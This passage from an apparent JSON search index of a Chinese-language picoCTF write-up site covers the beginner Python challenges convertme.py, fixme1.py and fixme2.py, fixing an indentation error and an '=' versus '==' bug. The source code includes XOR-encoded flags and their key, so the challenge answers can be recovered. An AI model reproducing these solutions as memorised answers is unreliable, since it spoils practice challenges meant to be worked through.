style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enum \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e random\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003echoice(range(\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e101\u003c/span\u003e))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;If \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(num) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39; is in decimal base, what is it in binary base?\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eans \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e input(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;Answer: \u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003etry\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  ans_num \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e int(ans, base\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e ans_num \u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e num:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    flag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e str_xor(flag_enc, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;enkidu\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;That is correct! Here\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003es your flag: \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e flag)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print(str(ans_num) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39; and \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e str(num) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39; are not equal.\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003eexcept\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eValueError\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;That isn\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003et a binary number. Binary numbers contain only 1\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003es and 0\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003es\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"convertme.py"},{"content":"題目連結 https://learn.cylabacademy.org/library/240\n題目解法 下載腳本並執行後可以發現在第 20 行的地方報錯。\n1 2 3 4 $ python fixme1.py File \u0026#34;/home/kali/workspace/fixme1.py\u0026#34;, line 20 print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) IndentationError: unexpected indent 使用 nano 或其他習慣的文字編輯器編輯檔案，將第 20 行最開頭的兩個空格刪除。\nnano fixme2.py 要退出 nano 要按下 Ctrl + X，接著按下 Y，再按下 Enter 即可退出。 退出後再次執行 python 腳本即可得到 flag。\n$ python fixme1.py That is correct! Here\u0026#39;s your flag: picoCTF{1nd-------------------c8f} 題目原始碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import random def str_xor(secret, key): #extend key to secret length new_key = key i = 0 while len(new_key) \u0026lt; len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return \u0026#34;\u0026#34;.join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)]) flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x5a) + chr(0x07) + chr(0x00) + chr(0x46) + chr(0x0b) + chr(0x1a) + chr(0x5a) + chr(0x1d) + chr(0x1d) + chr(0x2a) + chr(0x06) + chr(0x1c) + chr(0x5a) + chr(0x5c) + chr(0x55) + chr(0x40) + chr(0x3a) + chr(0x58) + chr(0x0a) + chr(0x5d) + chr(0x53) + chr(0x43) + chr(0x06) + chr(0x56) + chr(0x0d) + chr(0x14) flag = str_xor(flag_enc, \u0026#39;enkidu\u0026#39;) print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/fixme1-py/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/240\"\u003ehttps://learn.cylabacademy.org/library/240\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載腳本並執行後可以發現在第 20 行的地方報錯。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-shell\" data-lang=\"shell\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$ python fixme1.py \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  File \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;/home/kali/workspace/fixme1.py\u0026#34;\u003c/span\u003e, line \u003cspan style=\"color:#ae81ff\"\u003e20\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    print\u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;That is correct! Here\\\u0026#39;\u003c/span\u003es your flag: \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e\u0026#39;\u003c/span\u003e + flag\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIndentationError: unexpected indent\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e使用 \u003ccode\u003enano\u003c/code\u003e 或其他習慣的文字編輯器編輯檔案，將第 20 行最開頭的兩個空格刪除。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003enano fixme2.py\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e要退出 \u003ccode\u003enano\u003c/code\u003e 要按下 Ctrl + X，接著按下 Y，再按下 Enter 即可退出。\n退出後再次執行 python 腳本即可得到 flag。\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e$ python fixme1.py\nThat is correct! Here\u0026#39;s your flag: picoCTF{1nd-------------------c8f}\n\u003c/code\u003e\u003c/pre\u003e\u003ch2 id=\"題目原始碼\"\u003e題目原始碼\u003c/h2\u003e\n\n\n\n\n\n  \n  \u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e14\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e15\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e16\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e17\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e18\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e19\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e20\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e21\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e random\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003estr_xor\u003c/span\u003e(secret, key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e#extend key to secret length\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ewhile\u003c/span\u003e len(new_key) \u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e len(secret):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        new_key \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e new_key \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e key[i]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        i \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e (i \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003e len(key)        \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ejoin([chr(ord(secret_c) \u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e ord(new_key_c)) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e (secret_c,new_key_c) \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(secret,new_key)])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag_enc \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x15\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x07\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x06\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x27\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x21\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x23\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x15\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x07\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x00\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x46\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0b\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x2a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x06\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x1c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5c\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x55\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x40\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x3a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x58\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0a\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x5d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x53\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x43\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x06\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x56\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x0d\u003c/span\u003e) \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e chr(\u003cspan style=\"color:#ae81ff\"\u003e0x14\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eflag \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e str_xor(flag_enc, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;enkidu\u0026#39;\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  print(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;That is correct! Here\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e\\\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003es your flag: \u0026#39;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e flag)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e","title":"fixme1.py"},{"content":"題目連結 https://learn.cylabacademy.org/library/241\n題目解法 下載腳本並執行後可以發現在第 22 行的地方報錯。\n1 2 3 4 5 $ python fixme2.py File \u0026#34;/home/kali/workspace/fixme2.py\u0026#34;, line 22 if flag = \u0026#34;\u0026#34;: ^^^^^^^^^ SyntaxError: invalid syntax. Maybe you meant \u0026#39;==\u0026#39; or \u0026#39;:=\u0026#39; instead of \u0026#39;=\u0026#39;? 使用 nano 或其他習慣的文字編輯器編輯檔案，將第 22 行的 = 改成 ==。\nnano fixme2.py 要退出 nano 要按下 Ctrl + X，接著按下 Y，再按下 Enter 即可退出。 退出後再次執行 python 腳本即可得到 flag。\n$ python fixme2.py That is correct! Here\u0026#39;s your flag: picoCTF{3qu--------------------------efc} 題目原始碼 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import random def str_xor(secret, key): #extend key to secret length new_key = key i = 0 while len(new_key) \u0026lt; len(secret): new_key = new_key + key[i] i = (i + 1) % len(key) return \u0026#34;\u0026#34;.join([chr(ord(secret_c) ^ ord(new_key_c)) for (secret_c,new_key_c) in zip(secret,new_key)]) flag_enc = chr(0x15) + chr(0x07) + chr(0x08) + chr(0x06) + chr(0x27) + chr(0x21) + chr(0x23) + chr(0x15) + chr(0x58) + chr(0x18) + chr(0x11) + chr(0x41) + chr(0x09) + chr(0x5f) + chr(0x1f) + chr(0x10) + chr(0x3b) + chr(0x1b) + chr(0x55) + chr(0x1a) + chr(0x34) + chr(0x5d) + chr(0x51) + chr(0x40) + chr(0x54) + chr(0x09) + chr(0x05) + chr(0x04) + chr(0x57) + chr(0x1b) + chr(0x11) + chr(0x31) + chr(0x0d) + chr(0x5f) + chr(0x05) + chr(0x40) + chr(0x04) + chr(0x0b) + chr(0x0d) + chr(0x0a) + chr(0x19) flag = str_xor(flag_enc, \u0026#39;enkidu\u0026#39;) # Check that flag is not empty if flag = \u0026#34;\u0026#34;: print(\u0026#39;String XOR encountered a problem, quitting.\u0026#39;) else: print(\u0026#39;That is correct! Here\\\u0026#39;s your flag: \u0026#39; + flag) ","permalink":"https://picoctf-writeup.pinjim.dev/posts/general-skills/fixme2-py/","summary":"\u003ch2 id=\"題目連結\"\u003e題目連結\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://learn.cylabacademy.org/library/241\"\u003ehttps://learn.cylabacademy.org/library/241\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"題目解法\"\u003e題目解法\u003c/h2\u003e\n\u003cp\u003e下載腳本並執行後可以發現在第 22 行的地方報錯。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e5\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" 